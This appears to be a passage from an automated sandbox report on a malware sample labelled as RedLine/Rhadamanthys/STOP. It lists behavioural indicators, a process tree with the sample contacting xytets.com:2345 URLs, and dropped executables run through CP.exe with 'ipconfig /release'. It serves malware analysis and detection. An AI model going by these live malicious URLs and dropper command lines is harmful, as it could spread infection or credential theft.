2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
6008	aysqkidavs.exe
6008	aysqkidavs.exe
6008	aysqkidavs.exe
6008	aysqkidavs.exe
6008	aysqkidavs.exe
6008	aysqkidavs.exe
6008	aysqkidavs.exe
6008	aysqkidavs.exe

Suspicious behavior: LoadsDriver 19 IoCs

pid	Process
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found
676	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
5308	msedge.exe
5308	msedge.exe
5308	msedge.exe
5308	msedge.exe

Suspicious use of AdjustPrivilegeToken 20 IoCs

description	pid	Process
Token: SeDebugPrivilege	4152	i_aysqkidavs.exe
Token: SeDebugPrivilege	1900	i_ifaxsnkfdx.exe
Token: SeDebugPrivilege	3400	i_kicaupnhfz.exe
Token: SeDebugPrivilege	3764	i_rpjhbzurmk.exe
Token: SeDebugPrivilege	3904	i_xrpjhbzmje.exe
Token: SeDebugPrivilege	2020	i_ztrljeywuo.exe
Token: SeDebugPrivilege	5368	i_jdbvtolgey.exe
Token: SeDebugPrivilege	2424	i_sqljdbvtnl.exe
Token: SeDebugPrivilege	1188	i_vicaysqlic.exe
Token: SeDebugPrivilege	5112	i_avsnlfdxvp.exe
Token: SeDebugPrivilege	4988	i_nkfcxvpkic.exe
Token: SeDebugPrivilege	3948	i_cxupmhfzxr.exe
Token: SeDebugPrivilege	5764	i_uomhezxrpj.exe
Token: SeDebugPrivilege	5640	i_mgeywrpjhb.exe
Token: SeDebugPrivilege	244	i_eywqojgbzt.exe
Token: SeDebugPrivilege	2724	i_qoigaysqli.exe
Token: SeDebugPrivilege	4724	i_fdxvqnigay.exe
Token: SeDebugPrivilege	3024	i_kfdxvpnica.exe
Token: SeDebugPrivilege	2740	i_axsqkfdxvp.exe
Token: SeDebugPrivilege	5620	i_mhfzxrpnhc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
5308	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2128 wrote to memory of 5760	2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe	80
PID 2128 wrote to memory of 4256	2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe	81
PID 4256 wrote to memory of 992	4256	iexplore.exe	82
PID 5760 wrote to memory of 5308	5760	iexplore.exe	83
PID 5308 wrote to memory of 1768	5308	msedge.exe	84
PID 5308 wrote to memory of 1912	5308	msedge.exe	85
PID 5308 wrote to memory of 5652	5308	msedge.exe	86
PID 5308 wrote to memory of 5652	5308	msedge.exe	86
PID 5308 wrote to memory of 5652	5308	msedge.exe	86
PID 5308 wrote to memory of 2172	5308	msedge.exe	87
PID 5308 wrote to memory of 2172	5308	msedge.exe	87
PID 5308 wrote to memory of 3160	5308	msedge.exe	88
PID 5308 wrote to memory of 3160	5308	msedge.exe	88
PID 5308 wrote to memory of 2668	5308	msedge.exe	89
PID 5308 wrote to memory of 3160	5308	msedge.exe	88
PID 5308 wrote to memory of 2668	5308	msedge.exe	89
PID 5308 wrote to memory of 2668	5308	msedge.exe	89
PID 5308 wrote to memory of 1692	5308	msedge.exe	91
PID 5308 wrote to memory of 1692	5308	msedge.exe	91
PID 5308 wrote to memory of 1692	5308	msedge.exe	91
PID 2128 wrote to memory of 3548	2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe	93
PID 6008 wrote to memory of 5204	6008	aysqkidavs.exe	96
PID 5308 wrote to memory of 4836	5308	msedge.exe	99
PID 5308 wrote to memory of 1536	5308	msedge.exe	100
PID 5308 wrote to memory of 4836	5308	msedge.exe	99
PID 5308 wrote to memory of 1536	5308	msedge.exe	100
PID 5308 wrote to memory of 5808	5308	msedge.exe	101
PID 5308 wrote to memory of 4708	5308	msedge.exe	103
PID 5808 wrote to memory of 5216	5808	msedge.exe	104
PID 2128 wrote to memory of 6132	2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe	107
PID 2128 wrote to memory of 5480	2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe	111
PID 3012 wrote to memory of 3584	3012	ifaxsnkfdx.exe	113
PID 2128 wrote to memory of 4704	2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe	116
PID 2128 wrote to memory of 4740	2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe	120
PID 2132 wrote to memory of 5460	2132	kicaupnhfz.exe	122
PID 2128 wrote to memory of 5052	2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe	125
PID 2128 wrote to memory of 5276	2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe	129
PID 992 wrote to memory of 344	992	rpjhbzurmk.exe	131
PID 2128 wrote to memory of 5916	2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe	134
PID 5308 wrote to memory of 4812	5308	msedge.exe	136
PID 5308 wrote to memory of 5424	5308	msedge.exe	137
PID 5308 wrote to memory of 328	5308	msedge.exe	138
PID 5308 wrote to memory of 2856	5308	msedge.exe	139
PID 5308 wrote to memory of 2856	5308	msedge.exe	139
PID 5308 wrote to memory of 1460	5308	msedge.exe	142
PID 5308 wrote to memory of 1460	5308	msedge.exe	142
PID 2128 wrote to memory of 5384	2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe	143
PID 4044 wrote to memory of 2476	4044	xrpjhbzmje.exe	145
PID 2128 wrote to memory of 1132	2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe	148
PID 2128 wrote to memory of 5612	2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe	152
PID 5732 wrote to memory of 1468	5732	ztrljeywuo.exe	154
PID 2128 wrote to memory of 2376	2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe	157
PID 2128 wrote to memory of 240	2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe	161
PID 2888 wrote to memory of 5216	2888	jdbvtolgey.exe	163
PID 2128 wrote to memory of 5748	2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe	166
PID 2128 wrote to memory of 2016	2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe	170
PID 3324 wrote to memory of 4752	3324	sqljdbvtnl.exe	172
PID 2128 wrote to memory of 2248	2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe	175
PID 5308 wrote to memory of 4112	5308	msedge.exe	177
PID 5308 wrote to memory of 4112	5308	msedge.exe	177
PID 2128 wrote to memory of 2148	2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe	182
PID 1720 wrote to memory of 744	1720	vicaysqlic.exe	184
PID 2128 wrote to memory of 5960	2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe	187
PID 2128 wrote to memory of 5332	2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe	191

C:\Users\Admin\AppData\Local\Temp\2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2128
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home8102
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:5760
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home8102"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:5308
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2e4,0x2e8,0x2ec,0x2e0,0x368,0x7fff217ac188,0x7fff217ac194,0x7fff217ac1a0
      4⤵
      PID:1768
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1740,i,17770463390671071945,4203059900726386781,524288 --field-trial-handle=2244,i,4532040241792341557,17485595303374756751,262144 --variations-seed-version --mojo-platform-channel-handle=2272 /prefetch:11
      4⤵
      System Time Discovery
      PID:1912
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1600,i,3089568466186328821,14249348271050956408,262144 --field-trial-handle=2244,i,4532040241792341557,17485595303374756751,262144 --variations-seed-version --mojo-platform-channel-handle=2240 /prefetch:2
      4⤵
      PID:5652
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2424,i,2567507086567504691,16129177044965068658,524288 --field-trial-handle=2244,i,4532040241792341557,17485595303374756751,262144 --variations-seed-version --mojo-platform-channel-handle=2428 /prefetch:13
      4⤵
      PID:2172
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3348,i,15862625668150114084,16339014984942921822,2097152 --field-trial-handle=2244,i,4532040241792341557,17485595303374756751,262144 --variations-seed-version --mojo-platform-channel-handle=3452 /prefetch:1
      4⤵
      PID:3160
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3360,i,6809854808237349385,15146850600392647349,2097152 --field-trial-handle=2244,i,4532040241792341557,17485595303374756751,262144 --variations-seed-version --mojo-platform-channel-handle=3464 /prefetch:1
      4⤵
      PID:2668
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4212,i,5962153663908729093,3868175520736327719,2097152 --field-trial-handle=2244,i,4532040241792341557,17485595303374756751,262144 --variations-seed-version --mojo-platform-channel-handle=4272 /prefetch:1
      4⤵
      PID:1692
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4916,i,5623718538411219850,3819952380185208194,524288 --field-trial-handle=2244,i,4532040241792341557,17485595303374756751,262144 --variations-seed-version --mojo-platform-channel-handle=5108 /prefetch:14
      4⤵
      PID:4836
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4200,i,15672362141177773988,529290403400295365,524288 --field-trial-handle=2244,i,4532040241792341557,17485595303374756751,262144 --variations-seed-version --mojo-platform-channel-handle=5144 /prefetch:14
      4⤵
      PID:1536
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5964,i,12664951206098339079,6722515387039217732,524288 --field-trial-handle=2244,i,4532040241792341557,17485595303374756751,262144 --variations-seed-version --mojo-platform-channel-handle=5648 /prefetch:14
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5808
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.exe
        
        cookie_exporter.exe --cookie-json=1128
        5⤵
        
        PID:5216
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5968,i,16525120790733876723,6877265603741122369,524288 --field-trial-handle=2244,i,4532040241792341557,17485595303374756751,262144 --variations-seed-version --mojo-platform-channel-handle=5984 /prefetch:14
      4⤵
      PID:5736
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5968,i,16525120790733876723,6877265603741122369,524288 --field-trial-handle=2244,i,4532040241792341557,17485595303374756751,262144 --variations-seed-version --mojo-platform-channel-handle=5984 /prefetch:14
      4⤵
      PID:4708
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6548,i,8203821537664264898,14977296113400021475,524288 --field-trial-handle=2244,i,4532040241792341557,17485595303374756751,262144 --variations-seed-version --mojo-platform-channel-handle=6560 /prefetch:14
      4⤵
      PID:4812
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6528,i,11225811622098284814,11304179992695366897,524288 --field-trial-handle=2244,i,4532040241792341557,17485595303374756751,262144 --variations-seed-version --mojo-platform-channel-handle=6580 /prefetch:14
      4⤵
      PID:5424
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6544,i,9980977005336573737,6647029180986754933,524288 --field-trial-handle=2244,i,4532040241792341557,17485595303374756751,262144 --variations-seed-version --mojo-platform-channel-handle=6076 /prefetch:14
      4⤵
      PID:328
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6076,i,14205986278743144837,15461586055949705143,524288 --field-trial-handle=2244,i,4532040241792341557,17485595303374756751,262144 --variations-seed-version --mojo-platform-channel-handle=6580 /prefetch:14
      4⤵
      PID:2856
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6504,i,4277439918050601776,9209293150536214233,524288 --field-trial-handle=2244,i,4532040241792341557,17485595303374756751,262144 --variations-seed-version --mojo-platform-channel-handle=6488 /prefetch:14
      4⤵
      PID:1460
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5340,i,15899697782509555642,13168575288711922809,524288 --field-trial-handle=2244,i,4532040241792341557,17485595303374756751,262144 --variations-seed-version --mojo-platform-channel-handle=5240 /prefetch:14
      4⤵
      PID:4112
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6784,i,18330486411287060854,7901055034425438159,524288 --field-trial-handle=2244,i,4532040241792341557,17485595303374756751,262144 --variations-seed-version --mojo-platform-channel-handle=6788 /prefetch:14
      4⤵
      PID:4424
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6688,i,16894245775762841608,8743043891326016551,524288 --field-trial-handle=2244,i,4532040241792341557,17485595303374756751,262144 --variations-seed-version --mojo-platform-channel-handle=6556 /prefetch:14
      4⤵
      PID:3376
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6064,i,15701777595106242865,16466423737126521949,262144 --field-trial-handle=2244,i,4532040241792341557,17485595303374756751,262144 --variations-seed-version --mojo-platform-channel-handle=6324 /prefetch:10
      4⤵
      PID:1712
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6324,i,10126606922414848816,12681386919918383187,524288 --field-trial-handle=2244,i,4532040241792341557,17485595303374756751,262144 --variations-seed-version --mojo-platform-channel-handle=5208 /prefetch:14
      4⤵
      PID:3872
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/ll/out.txt
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:4256
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/ll/out.txt"
    3⤵
    PID:992
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\aysqkidavs.exe ups_run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:3548
- - C:\Temp\aysqkidavs.exe
    C:\Temp\aysqkidavs.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:6008
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5204
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3088
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_aysqkidavs.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:6132
- - C:\Temp\i_aysqkidavs.exe
    C:\Temp\i_aysqkidavs.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4152
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ifaxsnkfdx.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5480
- - C:\Temp\ifaxsnkfdx.exe
    C:\Temp\ifaxsnkfdx.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3012
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3584
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5940
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ifaxsnkfdx.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4704
- - C:\Temp\i_ifaxsnkfdx.exe
    C:\Temp\i_ifaxsnkfdx.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1900
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\kicaupnhfz.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4740
- - C:\Temp\kicaupnhfz.exe
    C:\Temp\kicaupnhfz.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2132
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5460
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2520
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_kicaupnhfz.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:5052
- - C:\Temp\i_kicaupnhfz.exe
    C:\Temp\i_kicaupnhfz.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3400
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\rpjhbzurmk.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5276
- - C:\Temp\rpjhbzurmk.exe
    C:\Temp\rpjhbzurmk.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:992
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:344
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3152
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_rpjhbzurmk.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:5916
- - C:\Temp\i_rpjhbzurmk.exe
    C:\Temp\i_rpjhbzurmk.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3764
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\xrpjhbzmje.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5384
- - C:\Temp\xrpjhbzmje.exe
    C:\Temp\xrpjhbzmje.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4044
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2476
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3680
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_xrpjhbzmje.exe ups_ins
  2⤵
  - Executes dropped EXE
